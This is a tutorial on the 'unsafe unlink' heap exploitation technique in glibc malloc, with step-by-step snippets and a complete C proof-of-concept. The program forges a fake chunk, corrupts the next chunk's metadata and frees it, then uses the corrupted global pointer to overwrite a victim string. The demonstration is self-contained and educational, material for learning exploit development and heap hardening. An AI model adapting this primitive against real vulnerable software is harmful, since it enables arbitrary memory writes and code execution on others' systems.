Unsafe unlink is a classic heap exploitation technique that leverages the unlink macro in glibc’s malloc implementation. When a chunk is freed and consolidated with adjacent free chunks, the unlink operation can be exploited to achieve arbitrary memory writes if proper checks are bypassed.
This technique can be used when you have a pointer at a known location to a region you can call unlink on. The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
The unsafe unlink technique allows an attacker to:
Corrupt global pointers to point to arbitrary memory locations
Achieve arbitrary memory write by dereferencing the corrupted pointer
Bypass modern heap protections by satisfying unlink consistency checks
Starting with glibc 2.27, you need to allocate chunks larger than fastbin/tcache ranges (typically 0x420 bytes or more) to ensure they go into unsorted bins.
Allocate two chunks where the first contains a global pointer:
int malloc_size = 0x80; // or 0x420 for glibc >= 2.27chunk0_ptr = (uint64_t*) malloc(malloc_size);uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
2
Create Fake Chunk
Inside chunk0, create a fake chunk with carefully crafted fd/bk pointers:
// Setup fd so that P->fd->bk == Pchunk0_ptr[2] = (uint64_t) &chunk0_ptr - (sizeof(uint64_t)*3);// Setup bk so that P->bk->fd == P chunk0_ptr[3] = (uint64_t) &chunk0_ptr - (sizeof(uint64_t)*2);
This satisfies the unlink check because:
fd->bk points to offset 24 bytes into fd, which we control
bk->fd points to offset 16 bytes into bk, which we control
3
Corrupt Chunk1 Metadata
Overflow from chunk0 to modify chunk1’s metadata:
uint64_t *chunk1_hdr = chunk1_ptr - 2;// Set prev_size to match our fake chunk locationchunk1_hdr[0] = malloc_size;// Clear PREV_INUSE bit to mark previous chunk as freechunk1_hdr[1] &= ~1;
4
Trigger Unlink
Free chunk1 to trigger backward consolidation:
free(chunk1_ptr);
During consolidation, the unlink macro executes:
FD->bk = BK; // chunk0_ptr now points to &chunk0_ptr - 16BK->fd = FD;
5
Arbitrary Write
Now chunk0_ptr points near itself. Use this to achieve arbitrary write:
char victim_string[8];strcpy(victim_string, "Hello!~");// Make chunk0_ptr point to victim_stringchunk0_ptr[3] = (uint64_t) victim_string;// Overwrite victim_stringchunk0_ptr[0] = 0x4141414142424242LL;
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>#include <assert.h>uint64_t *chunk0_ptr;int main(){ setbuf(stdout, NULL); printf("Welcome to unsafe unlink 2.0!\n"); printf("Tested in Ubuntu 14.04/16.04 64bit.\n"); printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); int malloc_size = 0x80; //we want to be big enough not to use fastbins int header_size = 2; printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); printf("We create a fake chunk inside chunk0.\n"); printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size; printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); chunk1_hdr[1] &= ~1; printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); free(chunk1_ptr); printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string; printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); printf("Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string); // sanity check assert(*(long *)victim_string == 0x4141414142424242L);}
Key difference in glibc 2.27+: Use malloc_size = 0x420 instead of 0x80 to avoid tcache bins.